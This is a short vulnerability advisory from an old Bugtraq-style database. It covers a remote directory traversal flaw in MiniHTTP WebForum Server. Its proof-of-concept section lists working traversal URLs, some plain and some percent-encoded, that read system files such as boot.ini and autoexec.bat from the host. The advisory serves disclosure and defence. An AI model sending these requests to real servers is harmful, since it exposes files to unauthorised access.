MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability

BID:7955

Info

MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability

Bugtraq ID: 7955
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 18 2003 12:00AM
Updated: Jun 18 2003 12:00AM
Credit: Discovery credited to dr_insane.
Vulnerable: Minihttp WebForum Server 2.0
Minihttp WebForum Server 1.6
Minihttp WebForum Server 1.5
Minihttp WebForum Server 1.0
Not Vulnerable:

Discussion

MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability

It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process.

Exploit / POC

MiniHTTPServer WebForums Server Remote Directory Traversal Vulnerability

This vulnerability may be exploited with a web browser.

The following proofs-of-concept have been made available:


http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini

Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:

http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext

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